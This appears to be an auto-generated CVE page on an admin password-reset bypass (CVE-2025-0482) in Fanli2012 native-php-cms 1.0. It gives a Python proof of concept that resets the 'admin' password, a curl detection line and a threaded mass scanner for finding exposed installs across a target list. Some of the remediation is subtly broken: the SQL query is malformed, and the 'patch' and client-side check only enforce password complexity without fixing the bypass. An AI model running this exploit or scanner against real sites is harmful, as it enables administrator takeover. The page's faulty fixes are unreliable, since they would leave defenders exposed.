How CVE-2025-0482 Works
The vulnerability exists in the `/fladmin/user_recoverpwd.php` file of Fanli2012 native-php-cms 1.0. The system fails to enforce proper credential requirements during password recovery, allowing attackers to exploit default credentials. Remote attackers can bypass authentication by submitting specially crafted requests to the recovery endpoint. The flaw stems from improper validation of user-supplied input during the password reset process, enabling unauthorized access to admin panels or user accounts. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) indicates network-based exploitation with low attack complexity.
DailyCVE Form
Platform: Fanli2012 native-php-cms
Version: 1.0
Vulnerability: Default Credentials
Severity: Critical
Date: 04/29/2025
What Undercode Say:
Exploit POC for CVE-2025-0482
import requests
target = "http://target.com/fladmin/user_recoverpwd.php"
data = {
'username': 'admin',
'newpass': 'hacked',
'confirmpass': 'hacked'
}
response = requests.post(target, data=data)
if "Password changed" in response.text:
print("[+] Exploit successful")
Detection command curl -s "http://target.com/fladmin/user_recoverpwd.php" | grep -q "password reset" && echo "Vulnerable"
// Patch code for user_recoverpwd.php
$min_length = 12;
if(strlen($_POST['newpass']) < $min_length ||
!preg_match("/[A-Z]/", $_POST['newpass']) ||
!preg_match("/[0-9]/", $_POST['newpass'])) {
die("Password complexity requirements not met");
}
Mitigation rule for Nginx
location ~ ^/fladmin/user_recoverpwd.php$ {
allow 192.168.1.0/24;
deny all;
}
-- Database check for default credentials
SELECT FROM users WHERE password IN ('admin','123456','password');
// Client-side validation example
function validatePassword() {
const pass = document.getElementById('newpass').value;
return pass.length >= 12 && /[A-Z]/.test(pass) && /[0-9]/.test(pass);
}
Mass scanner
import threading
def check_site(url):
try:
r = requests.get(url+'/fladmin', timeout=5)
if 'Fanli2012' in r.text: print(url)
except: pass
with open('targets.txt') as f:
for line in f: threading.Thread(target=check_site, args=(line,)).start()
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
